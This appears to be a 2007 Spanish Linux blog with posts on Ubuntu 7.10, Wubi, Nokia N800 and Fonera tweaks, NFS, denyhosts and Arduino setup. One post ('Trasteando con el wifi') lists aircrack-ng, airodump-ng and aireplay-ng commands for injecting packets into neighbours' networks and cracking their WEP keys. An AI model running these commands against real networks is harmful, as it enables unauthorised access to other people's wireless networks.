e-interiores Headline Animator

Mostrando entradas con la etiqueta linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta linux. Mostrar todas las entradas

9.11.07

Instalar Ubuntu 7.10 sin formatear

El proyecto wubi trata de hacer uninstalador que permita instalar ubuntu sin tener que formatear. Si en algún momento queremos eliminarlo del sistema sólo tenemos que desistalar el programa y listo.

Se compone de dos partes, un grub "para windows" que es capaz de arrancar desde los fichero de una particion Fat32 (¿ntfs?) y de unos ficheros enormes (de gigas) donde se ha insertado el sistema de archivos de linux. El sistema arranca desde ese grub modificado (por medio de una entrada que añade al archivo boot.ini) y monta el directorio para arrancar.

Antes de nada yo recomendaría hacer un backup de todo lo que consideremos importante en nuestro sistema pues la operación no esta totalmente exenta de riesgo. También haría una copia del fichero boot.ini.

Para instalarlo, lo primero descargar el instalador (para amantes del riesgo solo hay que ver el enlace)

Lo ejecutamos

Instalación Wubi obteniendo una pantalla de configuración donde podremos seleccionar el tipo de escritorio que queremos (gnome,kde,....), el espacio que queremos dedicar a la instalción y la unidad destino (TODO: probar a hacerlo sobre un pendrive)

y él solito....

Hay una guía y unos estupendos foros donde buscar en caso de problemas.

Ya instalé versiones anteriores y quedé grátamente sorprendido

(Me encanta poder clasificar entradas como windows y ubuntu a la vez)

Compartiendo ficheros entre windows y linux III

A raíz de un comentario sobre este tema, voy a tratar de detallar un poco más como lo he montado. Recordatorio

La base está en tener una partición fat32 (a partir de ubuntu 7.10 podríamos usar una ntfs) donde almacenaremos los datos de los programas (los ficheros temporales de emule o los de azureus, los correos de thunderbird, ...). Esta partición la montaremos desde linux en una carpeta que llamaremos por ejemplo /media/datos.

Instalaremos las dos versiones (tanto windows como linux) del programa cuyos datos compartiremos, y si es posible los configuraremos para que guarden los datos en la misma carpeta. Desde azureus o emule sólo tendremos que cambiar las opciones de los directorios temporales para que apunten al mismo (en windows será por ejemplo e:\emule\Temp y desde linux /media/datos/emule/Temp).

El problema viene cuando el programa no permite cambiar el directorio que usará (como Thunderbird) en ese caso podemos hacer que desde linux por medio de links acceda a la carpeta donde se guarda desde linux. Por ejemplo desde en windows se guardan los datos en e:\thunderbird\mail y desde linux cada usuario guarda los datos de thunderbird en el directorio home del usuario (en ~/.thunderbird/idperfil.default/) y podemos enlazar el directorio Mail/Local Folder a /media/datos/thunderbird/mail

Activando el cubo de escritorios en Ubuntu 7.10

Hoy en día con la capacidad de los sistemas actuales (potencia gráfica y de procesamiento) es posible añadir todo tipo de efectos visuales (sombreados, movimientos con aspecto real, rotaciones imposibles....) a los escritorios.

Además los nuevos sistemas operativos tratan de atraer a los usuarios por las mejoras visuales. Por ejemplo Windows Vista.

Por defecto se instala compiz, pero no todas las opciones vienen instaladas. Instalando la configuración avanzada
sudo apt-get install compizconfig-settings-manager
Podemos seleccionar todos los detalles que queramos. Para ver el famoso cubo tenemos que activarlo como efecto el cubo de escritorio y la rotación del cubo.

Para obtener el efecto debemos poner en general options-desktop size- tamaño horizontal 4 -tamaño vertical 1 -numero de escritorios 1.

Ahora pulsando ctrl-alt y el botón izquierdo obtendremos el efecto deseado

22.10.07

Actualizando a Ubuntu Gutsy Gibon 7.10

Finalmente me animé a actualizarme y la verdad es que nada más fácil.
Arrancamos el Gestor de Actualizaciones (Update Manager) y pulsamos Comprobar.
Nos aparece una información de que existe una nueva versión. Pulsamos instalar y nos pregunta un par de cosas y seguimos trabajando.
Hora y media después nos aparece un mensaje diciendo que se han encontrado paquetes que ya no se usan si deseamos desinstalarlos, yo dije si y en 10 minutos ha terminado la instalación, sin impedirme en ningún momento trabajar.
¡¡Impresionante!!

Mejoras que he notado:
* CompizFusion instalado y funcionando. Realmente muy rápido y vistoso. ¿Utilidad?: dar en los morros a cualquiera que pretenda presumir de su Aero en vista ;)
* Configuración aún más sencilla de XWindows, sin tener que tocar a mano el temido XConfig.
* Configuración rápida para usar 2 monitores simultáneamente y extender o replicar el escritorio con opciones de diferentes resoluciones o rotaciones.
* Escritura en particiones NTFS: algo realmente necesario para el día a día de los que coexistimos/padecemos XP
* Instalación de impresoras: han mejorado mucho este tema de forma que el sistema detecta directamente las impresoras y las configura.

Mejoras que sé que tiene pero que no he notado:
* Menor consumo de energía
* Gestión de driver no libres
* Asistente para Firefox que permite instalar plugins
* Cambio rápido de usuario
* applet Deskbar con buscador incluido

En definitiva, estoy muy contento con esta para nada traumática reinstalación que me permite estar a la última sin riesgo ni coste.
De todas formas me planteo hacer una instalación desde cero con el fin de quitar tantas aplicaciones que se instalan por probar y basurilla que se acumula

18.10.07

¿porque prefiero la linea de comandos ?

Porque no me gusta tener que arrancar firefox para descargar un fichero. Con wget además normalmente mayor velocidad. Porque puedo automatizar las tareas de forma sencilla. Por la sensación de velocidad, de control...

Ubuntu 7.10

Acaba de salir (de hecho todavía no está en la mayoría de los mirrors) la nueva versión de Ubuntu, la 7.10 (o gutsy como la llaman).
Promete facilidad de uso como nunca, efectos gráficos en la misma línea de Vista o MacOS, facilidad de instalación y de conexión de todo tipo de periféricos, vamos una gozada.
Me planteo instalarlo, pero para ello tendría que asegurarme que desde el principio tendré operativo el sistema.
La verdad es que cada vez me cuesta más el perder el tiempo reinstalando aplicaciones y configurando pero creo que este fin de semana tocará reinstalar.
Voy a hacer una lista de los programas (o complementos, plugins, extensiones...) que considero imprescindibles para tenerlo 100% operativo.

* Arduino
* Monodevelop
* Google Desktop
* Extensiones firefox: greasemonkey, del.icio.us, google browser sync, better gmail, tiny Menu y videoDownloader
* vmware

5.10.07

Retocando la configuracion del n800

La idea es hacer más sencillo el uso de la shell. Para casi cualquier cosa necesitamos tener privilegios de root, pero el sistema no está pensado (ni configurado) para hacer sudo.
Podemos solucionando añadiendo nuestro usuario a /etc/sudoers
Ahora hacemos que determinados comandos no nos pidan contraseña. Por ejemplo podemos hacerlo para ifconfig:
user ALL = NOPASSWD: /usr/bin/ifconfig

Trasteando con el wifi

Según creía 3945ABG no soporta packet injection.
Pero una vez que añado estos repositorios:
## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

sudo apt-get update
sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
uname -a
sudo apt-get install linux-headers-2.6.20-16-generic
sudo apt-get install shareutils
sudo apt-get install sharutils

modifico el fichero /etc/kismet/kismet.con añadiendo la línea
source=ipw3945,eth1,eth1

El driver para poner el interface en modo promiscuo para intel viene incluido en ubuntu. Sólo tenemos que activar el modo promiscuo con:
sudo airmon-ng start eth1

Ahora miramos quien anda en el vecindario con sudo kismet. Pulsamos 's' (para ordenar y así permite ordenar) Yo suelo ordenar por SSID
Seleccionamos la fila y enter (o 'i') para ver detalles. Apuntamos el BSSID
(Es sorprendente el número de redes que se pueden ver, normalmente veo 4 ó 5 con kismet he llegado a ver 15)

Ahora comenzamos a guardar el tráfico con
sudo airodump-ng --channel 11 --write fichero eth1
sudo ifconfig eth1 up
sudo iwconfig eth1 mode Monitor channel 11
sudo aireplay-ng -1 0 -e ssid -a bssid -h 00:01:02:03:04:05 eth1
sudo aireplay-ng -3 -b 00:11:2F:2E:FF:C7 -h 00:01:02:03:04:05 eth1

Cuando tenemos suficiente sudo aircrack fichero
Otra opción (que recomiendo por su efectividad es usar wifiway wifislax)

Ahora a montar todo esto en la fonera.

Si no coneces alguno de los paquetes que uso ni te molestes...

3.10.07

Usar el nombre del script como argumento (sh)

El que con las shells de unix se puede hacer absolutamente todo ya se sabe. El que se puede hacer de formar sencilla también.
Un ejemplo de ello es que podemos usar el nombre del script como un argumento más. En concreto como el argumento 0 $0 ¿cómo podemos usarlo? Con diferentes links a un mismo script. El comportamiento será diferente dependiente del nombre que usemos para invocarlo.
Veamos un ejemplo:
Supongamos una aplicación que cambia el color de los leds que tenemos conectados a nuestra fonera.
El script solo tiene que activar unos bits del gpio diferentes según queramos un color y otro.
Podemos crear un script que llamado color como el que sigue

#!/bin/sh
p_out="3_out";
p_dir="3_dir";
case "$0" in
"/usr/bin/rojo")
p_out="3_out"; p_dir="3_dir";;
"/usr/bin/verde")
p_out="1_out"; p_dir="1_dir";;
"/usr/bin/azul")
p_out="4_out"; p_dir="4_dir";;
esac
echo 1 >/proc/gpio/$p_dir;
if test "p$1" = "p"
then cat /proc/gpio/$p_out ;
else echo $1 >/proc/gpio/$p_out;
fi

Existen 3 links rojo, verde y azul que apunta a script color
Fácil de hacer, muy sencillo para el usuario que no tiene que recordar parámetros extraños y sobre todo muy, muy elegante.

Recuperar las aplicaciones intaladas en debian(ubuntu)

Las posibilidades que da el sistema de paquetes de debian no deja de sorprenderme. Diariamente lo uso en mi n800 y en mi ubuntu.
Después de actualizar el firmware de mi n800 es necesario reinstalar las aplicaciones (los datos personales, cuentas, etc) se guardan en un backup que luego se puede recuperar, pero las aplicaciones es necesario reinstalarlas.
Hoy en la lista de desarrolladores de n800 alguien ha expuesto un truco para ahorrarnos las 2-3 horas que se tarda en reinstalar las aplicaciones.
Basta con copiar a una de las tarjeta SD el fichero /etc/apt/sources.list y la salida del comando
dpkg --get-selections >paquetesInstalados
Actualizamos el firmware y una vez que tenemos instalado un xterm y accesible el ssh recuperamos el fichero /etc/apt/sources.list y ejecutamos
apt-get update para recargar las listas de paquetes y dpkg --set-selections < paquetesInstalados


Por cierto esta es la entrada 300

2.10.07

Web local de configuracion de la fonera

Para acceder a la página de configura de la fonera nada más fácil que permitir el acceso con iptables
(tomado de aquí)
añadimos /etc/firewall.user

iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 80 -j ACCEPT
iptables -A input_rule -i $WAN -p tcp --dport 80 -j ACCEPT

y lo volvermos a ejecutar /etc/firewall.user
De esta manera la tendremos accesible desde la misma red local.

Aumentando la seguridad del ssh

A raiz de la cantidad de intentos que acceso que he visto que recibía mi servidor me he decidido por aumentar su seguridad. Lo más seguro sería hacer que no se pudiera acceder desde fuera por ssh, pero como sí que quiero acceder he buscado la manera de que el propio sistema detecte los intentos de intrusión y bloquee el acceso de esos servidores.
La opción más sencilla que he encontrado es denyhosts que a partir de los logs de accesos por sshd modifica el fichero /etc/hosts.deny bloqueando el acceso a la máquina que intenta conectarse para el puerto del ssh (22 por defecto. Otra medida de seguridad sería cambiar este puerto)
Desde ubuntu es muy fácil de instalar:
sudo apt-get install denyhosts
Editamos el fichero de configuración donde decimos los umbrales a partir de los cuales cortaremos el acceso al servidor.
sudo vi /etc/denyhosts
y lo arrancamos
/etc/init.d/denyhosts
En una sola noche ya tengo dos ips en el fichero /etc/hosts.deny

1.10.07

Puerto sshd en la fonera

Hacía mucho tiempo que no trasteaba con la fonera. Una vez que tenemos funcionando los gpio es una pena no aprovecharlos para algo útil (encender la calefacción o mover la web cam....).
Por eso me he decidido a darle salida a mi fonera al exterior.
El primer paso es permitirle el acceso por ssh, pero dado que ya tengo otra máquina que ya recibe el puerto 22 de mi router, tengo que usar otro puerto.
¿cómo cambiar el puerto sshd? nada más fácil que editar /etc/init.d/S50dropbear y añadir a la línea que arranca dropbear la opción -p puerto .
Rearrancamos el dropbear con /etc/init.d/dropbear restart y comprobamos que el puerto está en escucha netstat -a |grep puerto
Obteniendo
tcp 0 0 *:puerto *:* LISTEN

Actualización: Importantísimo no olvidar hacer


iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport puerto -j ACCEPT
iptables -A input_rule -i $WAN -p tcp --dport puerto -j ACCEPT

23.9.07

2500 intentos de acceso ssh en 20 días

Revisando la configuración de mi mini-servidor me acabo de llevar la sorpresa de que en los últimos 20 días ha habido más de 2500 intentos.


12 accesos 221.15.37.58
14 accesos 217.24.240.77
16 accesos 83.166.220.73
21 accesos 64.107.216.240
22 accesos 62.52.111.85
52 accesos 70.46.119.34
52 accesos 89.96.55.43
70 accesos 62.212.122.229
80 accesos 62.193.228.42
85 accesos 210.2.169.245 Fukuoka, JAPAN
168 accesos 213.243.216.114 Nola, ITALY
263 accesos 64.22.124.166 Stuart, FL, UNITED STATES
283 accesos 66.178.111.68 Beavercreek, OH, UNITED STATES
315 accesos 66.244.236.248 BAY DE VERDE, NL, CANADA
846 accesos 66.7.200.187 Orlando, FL, UNITED STATES
(datos de geoposición por hostip.info
Una pasada. Afortunadamente parece que ninguno de ellos ha conseguido entrar, pero parece que es algo sistemático.

Cuidado con la seguridad del sistema y las actualizaciones.

5.9.07

Comparativa de rendimiento nfs/samba

No es que me haya pasado semanas haciendo sesudos test y repitiéndolos una y otra vez para obtener biena estadística. Pero desde que me decidí por usar nfs en lugar de samba para montar mis discos de red he notado una importante mejora en el rendimiento. Lo noté por primera vez mientras recoodificaba una peli para verla en mi n800. Tanto el disco desde el quue leía como donde escribía eran remotos.
Usando samba obtenía 90f/s, con nfs 120f/s. Ni que ecir tiene que iso la misma película para comparar, un tiempo suficiente(los 30 minutos que tardó), y las mismas condiciones de carga en ambas máquinas.
Seguiré probando pero en cualquier caso vale la pena probar.

NFS en n800

Aunque haga tiempo que no hable de él no dejo de usarlo y de trastearlo. Quizás tenga parte de culpa de que no escriba más....
Ahora le he puesto nfs, lo que me permite montar cualquier directorio que exporto desde linux (otro día pondré como hacer para montar particiones samba)

Es bastante fácil:

Una vez que somos root y desde una consola:

apt-get install rx-34-kernel-nfs-modules
apt-get install portmap
apt-get install wget
si no lo tenemos ya...

wget http://repository.maemo.org/pool/bora/free/binary/nfs-common_1.0.6-3.1sdk1_armel.deb
Hay un tema de dependencias que impide su instalación con apt-get.
Desempaquetamos el archivo deb
dpkg -x nfs-common_1.0.6-3.1sdk1_armel.deb nfstmp
cd nfstmp
cp -r etc sbin usr var /
cd /lib/modules/current/
insmod sunrpc.ko
insmod lockd.ko
insmod nfs.ko
mount -t nfs :/some/directory /mnt/mountpoint

Fuente

30.8.07

La responsabilidad de ser root

Llevo mucho tiempo diciendo al administrador de sistemas de mi empresa (¡hola Master!) que no es un buen hábito que los usuarios de los sistemas linux (unix por extensión) entren al sistema como root sin necesidad.
Existen alternativas, como usar sudo o una buena política de grupos y permisos y está claro que es un tema de costumbres.
Pero es que no somos conscientes de lo que podemos llegar a hacer.
El otro día mientras copiaba unas películas a mi disco externo (con el que ya he tenido algún que otro problema), obtuve unos errores de inconsistencias en la FAT con lo que ubuntu lo montó como sólo lectura. Cuando iba a intentar arreglar los errores (y debido a que estaba totalmente despistado) cometí el error de usar el comando mkfs en lugar del fsck.
¿Pero como puede pasar eso? pues sí que pasa.
¿El resultado?: 380Gb de películas (todos ellos obtenidos por medios legales por supuesto, la duda ofende) volatilizadas en menos de 1 minuto.
Cuando dejé de reírme comencé a buscar soluciones...
Esta claro que en Windows eso no hubiera pasado (porque habría visto que me aparecía la ventana de format y me habría pedido confirmación.
En Linux (en UNIX), el usuario root no pide confirmación de nada. Se sobreentiende que sabe lo que hace, algo a lo que los eternos aprendices nunca llegamos.

7.7.07

Actualizando mi n800 a os 4.2007.26-8

Mejora mucho (pero mucho,mucho) la sensibilidad de la pantalla, la duración de la batería. Yo diría que la velocidad de acceso a la red. También he leído de casos de corrupción de tarjetas de memoria (incluso de dejarlas inservibles).

Para instalar las aplicaciones que teníamos antes de forma más fácil, activamos el acceso externo por ssh y a partir de ahí con apt-get install...(pero atentos a la pantalla del n800 porque la selección de la carpeta para el lanzador se hace por la pantalla)

He marcado con - las que he instalado y con * las que no he instalado y que antes tenía:

- abiword: permite ver, y editar fichero Microsoft word
- bzip2: compresor
- camera: una utilidad sencilla que permite hacer fotos.
- canola: reproductor multimedia
- crazyparking: juego
- dropbear (cliente y servidor) ssh2 como cliente y como servidor
* ¿e2fsprogs y e2fslibs?
- erminig: sincronizar gpe-calendar con google calendar
- evince: mucho mejor que pdf reader
- fbreader: imprescindible
- flite: no sé para lo que sirve pero lo tenia instalado. Creo que es un sintetizador de voz para maemo-maper
- fmradio: nunca lo he usado pero saber que tengo un hardware que no puedo usar...
- file
* gammu: permite gestionar los contactos, sms, llamadas del movil vía bluetooth
- gconf-editor: para
- gnumeric: estupenda hoja de cálculo
- gpe-calendar: pendiente cómo importar de gcalendar
- gpe-contacts: pendiente cómo importar de
- gpe-todo
- idea
- kerez: permite guardar comandos que se ejecutarán desde un xterm
- load applet run : applet que nos permite mostrar la carga del sistema (cpu y ram) y capturar pantallas.
- lxdoom: version del popularísimo doom
- lybniz: visualiza funciones matemática
- maemo-blog: permite la publicación
- maemo-gaim: msn/yahoo/gtalk....
- maemo-mapper: permite ver las imágenes de satelite y los mapas de google-maps y los de virtual earth.
- maemo-periodic: visor de talba periódica
- maemopadplus: permite crear las notas de texto y de forma gráfica
- maemo-screengrabber:salva pantallas
- maemo-recorder: permite grabar sonidos
- mediastreamer: ya no vivo sin él....
* mono-runtime: imprescindible aunque no tenga ni un solo programa para ejecutar
* mplayer: otro reproductor multimedia
- osso-xterm: imprescindible para cualquiera que quiera cacharrear minimamente
* peditgtksharp: editor sencillo de ficheros de tipo texto
* sbrshd: permite la conexion externa por ssh
- python
- quiver: excelente visualizador de imágenes
* raphsody: reproductor de musica
- rdesktop: permite las conexiones a máquinas windows
- screen: permite multiplexar un terminal
- simple launcher: permite poner iconos de acceso rápido en el escritoiro
* sqlite3
* traceroute
- vncviewer:
* wirelesstools
- zip

5.6.07

Desarrollando para maemo en ubuntu

Empeazamos por ejecutar este script que podemos bajar de maemo
sudo maemo-scratchbox-install_3.1.sh
Una vez que esté instaldo (por defecto en /scratchbox)
Editamos /scratchbox/etc/nsswitch.conf modificando esta línea
hosts: files mdns4_minimal [NOTFOUND=return] dns mdns4
dejándola de esta manera
hosts: files dns
Ahora instalmos el sdk ejecutando el script
maemo-sdk-install_3.1.sh -y
Ahora instalamos xephyr que será el encargado de "simular" las X del cacharrito
sudo apt-get install xserver-xephyr
Lo ejecutamos (fuera de scratchbox) con
Xephyr :2 -host-cursor -screen 800x480x16 -dpi 96 -ac
y desde scrachtbox:
export DISPLAY=:2
af-sb-init.sh start


Para probar que todo funciona vamos a compilar una aplicacion: maemopad
Descargamos el código
svn checkout https://stage.maemo.org/svn/maemo/projects/tools/trunk/maemo_testing/maemopad/

y lo construimos con dpkg-buildpackage -rfakeroot -b
lo instalamos fakeroot dpkg -i maemopad_1.5_i386.deb
Y ahora tendremos una entrada de menu Extras tenemos maemopad
Fuente: Maemo tutorial

30.5.07

Arduino en ubuntu

Para instalar arduino en ubuntu (en linux en general) necesitamos
* sun's java runtime (jre)
* avr-gcc (aka "gcc-avr")
* avr-libc
Los instalamos:
sudo apt-get install sun-java5-jre gcc-avr avr-libc
Ubuntu 7 instala por defecto un programa que accede los puertos series para autodetectar dispositivos. Se trata de brltty un programa que permite acceder a personas ciegas a la consola desde un dispositivo especial. Si no se usa lo desistalamos.
sudo apt-get remove brltty
Descargamos arduino, descomprimimos tar zxvf arduino-0007-linux.tgz .
Conectamos nuestro arduino, comprobamos que se detecta con dmesg y lo ejecutamos.
Si todo ha ido bien tendremos como opción /dev/usb0 en la configuración del puerto serie y a volar!!!!